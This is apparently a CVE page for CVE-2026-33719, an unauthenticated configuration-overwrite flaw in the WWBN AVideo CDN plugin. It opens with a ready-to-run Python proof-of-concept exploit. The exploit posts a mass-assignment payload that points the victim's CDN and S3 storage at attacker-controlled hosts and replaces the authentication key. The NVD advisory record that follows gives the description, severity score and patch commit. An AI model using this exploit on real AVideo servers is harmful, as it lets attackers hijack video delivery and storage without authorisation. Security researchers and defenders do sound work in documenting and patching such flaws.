CVE-2026-33719

import requests def exploit_cve_2026_33719(target_url): """ PoC for CVE-2026-33719: AVideo CDN Plugin Authentication Bypass This script attempts to modify the CDN configuration without authentication. """ # The vulnerable endpoint endpoint = f"{target_url}/plugin/CDN/status.json.php" # Malicious configuration to inject via mass assignment payload_data = { "streamer": "http://attacker-controlled-cdn.com", "key": "pwned_by_attacker", "storage_url": "s3://evil-bucket" } # The 'par' parameter is used for mass assignment in the vulnerable code params = { "par": payload_data } try: print(f"[*] Sending payload to {endpoint}...") response = requests.post(endpoint, data=params, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check if configuration was modified.") print(f"[+] Response: {response.text}") else: print(f"[-] Unexpected status code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": target = "http://localhost/avideo" # Replace with actual target exploit_cve_2026_33719(target)

{"cve": {"id": "CVE-2026-33719", "sourceIdentifier": "[email protected]", "published": "2026-03-23T19:16:42.647", "lastModified": "2026-03-25T14:56:57.593", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the CDN plugin endpoints `plugin/CDN/status.json.php` and `plugin/CDN/disable.json.php` use key-based authentication with an empty string default key. When the CDN plugin is enabled but the key has not been configured (the default state), the key validation check is completely bypassed, allowing any unauthenticated attacker to modify the full CDN configuration — including CDN URLs, storage credentials, and the authentication key itself — via mass-assignment through the `par` request parameter. Commit adeff0a31ba04a56f411eef256139fd7ed7d4310 contains a patch."}, {"lang": "es", "value": "WWBN AVideo es una plataforma de video de código abierto. En versiones hasta la 26.0 inclusive, los endpoints del plugin CDN 'plugin/CDN/status.json.php' y 'plugin/CDN/disable.json.php' usan autenticación basada en clave con una clave predeterminada de cadena vacía. Cuando el plugin CDN está habilitado pero la clave no ha sido configurada (el estado predeterminado), la verificación de validación de clave es completamente omitida, permitiendo a cualquier atacante no autenticado modificar la configuración completa del CDN — incluyendo URLs de CDN, credenciales de almacenamiento y la propia clave de autenticación — a través de asignación masiva mediante el parámetro de solicitud 'par'. El commit adeff0a31ba04a56f411eef256139fd7ed7d4310 contiene un parche."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndIncluding": "26.0", "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/commit/adeff0a31ba04a56f411eef256139fd7ed7d4310", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-r64r-883r-wcwh", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}